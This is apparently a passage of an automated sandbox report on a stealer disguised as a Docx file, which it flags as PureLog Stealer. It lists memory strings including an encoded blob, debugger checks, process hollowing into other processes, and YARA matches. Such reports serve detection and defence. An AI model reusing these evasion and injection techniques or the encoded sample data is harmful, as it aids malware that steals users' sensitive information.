Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21f715d5f928<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21a9f558bff4<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd222e6a7585d6<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2140552249de<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21cf699ce188<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2228c5d66ead<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd271102821989<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd205f4e93af8a<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd216ef987af00<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d324b9521
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d1c06ddc3
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20d7324cb693<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2101f28456d5<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd214ffb664a86<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2000757d4a82
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd224dea6ac3fc<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd24f09b604f03<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20a77e51f755<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2098731e7d87<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2461846d9172<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f6bdc044996
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D38B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d27f0447e
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd228686aed571<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2189f0cb04ca<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20be100b0715<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20761e459bea<
Source: Cneehezx.PIF, 00000006.00000002.2343999194.0000000000740000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3468775169.000000003260D000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 0000000A.00000002.2424965062.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20c4261497b1<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1fab8db33d56
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.000000000076E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2391582c4776<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd268de6126dd3<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2587cc98b653<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21fe3ea779ee<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd210716015f06<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd218608facd63<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd22ff41348b47<
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2280840787.000000007FBC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 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
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2321d33b2b75<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21f3fd82474b<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2799595f15e7<

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	API call chain: ExitProcess graph end node	graph_0-25165
Source: C:\Users\Public\Libraries\xzeheenC.pif	API call chain: ExitProcess graph end node	graph_4-52500
Source: C:\Users\Public\Libraries\xzeheenC.pif	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Cneehezx.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\Public\Libraries\xzeheenC.pif

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029DEBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_029DEBF0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\xzeheenC.pif

Code function: 4_2_1F6EE660 LdrInitializeThunk,LdrInitializeThunk,

4_2_1F6EE660

Source: C:\Users\Public\Libraries\xzeheenC.pif

Code function: 4_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_0040CE09

Source: C:\Users\Public\Libraries\xzeheenC.pif

4_2_004019F0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029D87A0 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_029D87A0

Source: C:\Users\Public\Libraries\xzeheenC.pif

Code function: 4_2_0040ADB0 GetProcessHeap,HeapFree,

4_2_0040ADB0

Source: C:\Users\Public\Libraries\xzeheenC.pif

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0040CE09
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0040E61C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00416F6A
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_004123F1 SetUnhandledExceptionFilter,	4_2_004123F1
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_1_0040CE09
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_1_0040E61C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_1_00416F6A
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_004123F1 SetUnhandledExceptionFilter,	4_1_004123F1
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0040CE09
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0040E61C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00416F6A
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_004123F1 SetUnhandledExceptionFilter,	9_2_004123F1
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040CE09
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040E61C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_1_00416F6A
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_004123F1 SetUnhandledExceptionFilter,	9_1_004123F1

Source: C:\Users\Public\Libraries\xzeheenC.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: C:\Users\Public\Libraries\xzeheenC.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: C:\Users\Public\Libraries\xzeheenC.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: C:\Users\Public\Libraries\xzeheenC.pif base: 400000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section unmapped: C:\Users\Public\Libraries\xzeheenC.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Section unmapped: C:\Users\Public\Libraries\xzeheenC.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Section unmapped: C:\Windows\SysWOW64\cmd.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory written: C:\Users\Public\Libraries\xzeheenC.pif base: 36C008	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory written: C:\Users\Public\Libraries\xzeheenC.pif base: 2D6008	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory written: C:\Users\Public\Libraries\xzeheenC.pif base: 3BD008

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_029C5A78
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: GetLocaleInfoA,	0_2_029CA798
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: GetLocaleInfoA,	0_2_029CA74C
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_029C5B84
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: GetLocaleInfoA,	4_2_00417A20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: GetLocaleInfoA,	4_1_00417A20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: GetLocaleInfoA,	9_2_00417A20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: GetLocaleInfoA,	9_1_00417A20
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_02AD5A78
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: GetLocaleInfoA,	10_2_02ADA798
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_02AD5B83

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\xzeheenC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029C9194 GetLocalTime,

0_2_029C9194

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029CB714 GetVersionExA,

0_2_029CB714

Source: C:\Users\Public\Libraries\xzeheenC.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE
